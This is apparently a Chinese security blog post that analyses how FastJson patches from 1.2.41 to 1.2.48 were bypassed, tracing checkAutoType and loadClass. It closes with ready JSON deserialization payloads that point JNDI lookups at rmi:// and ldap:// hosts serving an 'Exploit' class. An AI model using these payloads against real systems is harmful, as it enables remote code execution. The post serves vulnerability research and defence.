FastJson 1.2.41 - 1.2.48分析

前言

前文「初识FastJson」曾分析了 FastJson 反序列化的起始版本 1.2.24, 本文将从修复补丁的 1.1.41版本开始分析如何bypass 补丁以及利用分析。

1.2.41

根据该版本的补丁分析跟进到 DefaultJSONParser#parseObject中, 在291行处能看到调用了 ParserConfig#checkAutoType方法传入了 @key的值。

image-20210614220518704

进入 checkAutoType 之后因为 1.2.41 版本默认已经不开启 AutoType 功能了 且此处 expectClass为null所以不会进入if分支中。

image-20210614220734251

代码走到836的分支中, 通过for循环如果 @type 的value是以黑名单的类名开头的话则会抛出异常, denyList有23个黑名单类, 其中包含了不少常见的gadget。

image-20210614221705853

在循环完黑名单之后会调用 TypeUtils#loadClass去加载类, 而补丁的饶过也正在这个方法中:

image-20210614222058092

没什么好说的, classNameL 开头及 ;结尾则从截断第一个字符和最后一个字符, 也就是去除了 L;, 然后加载类, 最后调用 JdbcRowSetImpl#connect触发JNDI注入。

image-20210614231023418

1.2.42

新的补丁将黑名单类转变通过比较 hash判断, 并在 checkAutoType中判断类名如果以 L 开头及 ;结尾则会去除:

image-20210615144033206

经过 checkAutoType 后payload就会去除 一个L;, 变成了 Lcom.sun.rowset.JdbcRowSetImpl;了。而在 TypeUtils#loadClass中会判断 L;去除之后重新调用 loadClass。所以实际上这里使用多个 L;效果是一样的, 都能够绕过 checkAutoType时的判断而在 loadClass 时又能正常加载类。

image-20210615145530522

1.2.45

黑名单类绕过, 需要有Mybatis。

{“@type”:”org.apache.ibatis.datasource.jndi.JndiDataSourceFactory”,”properties”:{“data_source”:”rmi://localhost:1099/Exploit”}}

1.2.47

使用 java.lang.Class 白名单类绕过验证, 在 MiscCodec#deserialze方法通过层层筛选最终会加载 val键的值作为类名使用 TypeUtils#loadClass 加载类。

经过 checkAutoType时由于 @type 的值是 java.lang.Class不存在黑名单中, 代码会走到833行中在白名单中寻找类, 白名单中存在该类会直接return。

image-20210615153353002

回到 DefaultJSONParser#parseObject调用 ParserConfig#getDeserialzer

image-20210615153655767

返回一个MiscCodec 对象。

image-20210615153958527

回到 parseObject 继续调用 MiscCodec#deserialze, 通过 TypeUtils#loadClass加载类。

image-20210615154441134

这里strVal的值必须是 val键, 否则会抛出异常。

image-20210615154603145

loadClass时会调用该重载方法, 且 cache参数默认为true, 导致将恶意类 com.sun.rowset.JdbcRowSetImpl类写入 mappings

1
2
3
public static Class<?> loadClass(String className, ClassLoader classLoader) {
return loadClass(className, classLoader, true);
}

image-20210615155051465

完整Payload

{“a”: {“@type”: “java.lang.Class”, “val”: “com.sun.rowset.JdbcRowSetImpl”}, “b”: {“@type”: “com.sun.rowset.JdbcRowSetImpl”, “dataSourceName”: “ldap://x.x.x.x:1999/Exploit”, “autoCommit”: true}}

其他黑名单绕过

{“@type”:”org.apache.xbean.propertyeditor.JndiConverter”,”AsText”:”rmi://127.0.0.1:1099/Exploit”}”

{“@type”:”org.apache.shiro.jndi.JndiObjectFactory”,”resourceName”:”rmi://127.0.0.1:1099/Exploit”}

{“@type”:”br.com.anteros.dbcp.AnterosDBCPConfig”,”metricRegistry”:”rmi://127.0.0.1:1099/Exploit”}

{“@type”:”org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup”,”jndiNames”:”rmi://127.0.0.1:1099/Exploit”}

{“@type”:”com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig”,”properties”: {“@type”:”java.util.Properties”,”UserTransaction”:”rmi://127.0.0.1:1099/Exploit”}}